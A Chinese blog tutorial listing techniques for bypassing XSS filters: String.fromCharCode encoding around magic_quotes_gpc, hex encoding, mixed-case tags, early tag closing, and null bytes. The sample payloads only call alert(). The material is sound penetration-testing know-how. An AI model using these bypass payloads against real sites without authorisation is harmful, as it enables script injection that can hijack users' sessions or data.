#未完待续...

00x1、绕过 magic_quotes_gpc

magic_quotes_gpc=ON 是php中的安全设置,开启后会把一些特殊字符进行轮换,

比如:

'   

会被转换为

\'

再比如:

\

会转换为

\\

可见其在正常字符的前面多加了一个斜杠。

一个被使用了magic_quotes_gpc简单案例:

<script>alert("xss");</script>

会转换为

<script>alert(\"xss\");</script>

如此一来我们的xss就不生效了。

针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert("XSS");转换为

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)

那么我们的XSS语句就变成了

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 

String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。

如何转换ASCII码呢?

我们可以使用 hackbar 来搞定,Firefox的扩展工具https://addons.mozilla.org/en-US/firefox/addon/hackbar/

最后使用<script>转换后的放到这里</script>包含即可。

00x2、HEX编码

我们可以对我们的语句进行hex编码来绕过XSS规则。

比如:
<script>alert("xss");</script>
可以转换为:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
在线工具:
http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html
http://www.asciitohex.com/
00x3、改变大小写
 
在测试过程中,我们可以改变测试语句的大小写来绕过XSS规则
比如:
<script>alert("xss");</script>
可以转换为:
<ScRipt>ALeRt("XSS");</sCRipT>
00x4、关闭标签
 
有时我们需要关闭标签来使我们的XSS生效,如:
"><script>alert("Hi");</script>
参考地址:
http://www.breakthesecurity.com/2011/12/bypassing-xss-filters-advanced-xss.html
http://www.exploit-db.com/papers/15446/
 
00x5、使用空字符
 
<scr%00ipt>alert("XSS")</scri%00ip>
空字符 (%00) 使得过滤器不能看到完整的 <SCRIPT> 标签. 但只在 IE 6.0, IE 7.0 可以。
 

最新文章

  1. linux(十三)__vsftpd服务器
  2. python &amp; mongo问题记录
  3. 【Win10】UAP/UWP/通用 开发之 x:DeferLoadStrategy
  4. (圆形imageview 类似qq头像)---》(ps:引用第三库APAvatarImageView&gt;
  5. 【win8技巧】应用商店里面如何搜索应用app
  6. 由一道淘宝面试题到False sharing问题
  7. ubuntu enable all Ubuntu software (main universe restricted multiverse) repositories use
  8. ubuntu下搭建nginx+mysql+php-fpm站点
  9. 个人作业2 英语学习APP分析
  10. python笔记十四(高阶函数——map/reduce、filter、sorted)
  11. 开发人员需要熟知的常用Linux命令Version、Kernel查看
  12. 监控与管理dubbo服务
  13. Invalid Host header
  14. ubuntu16.04安装opencv3.4.0
  15. Django2.0版本 path与Django1.x版本url正则匹配问题
  16. django集成ansibe实现自动化
  17. 使用npm私有服务器保存公司内部强业务类型组件(三):关于业务性组件的一点思考
  18. WPF:完美自定义MeaagseBox 2.0
  19. 注入攻击(SQL注入)
  20. Luogu P4009 汽车加油行驶问题

热门文章

  1. python中redis
  2. MySQL之两张表关系查找例子
  3. GITHUB下载源码方式
  4. 多任务4---greenlet完成多任务
  5. vuex的使用介绍
  6. Linux 硬件软件时间同步
  7. Neo4j数据进行备份、还原
  8. xyz
  9. FOI冬令营 Day2
  10. codeforces#1249F. Maximum Weight Subset(树上dp)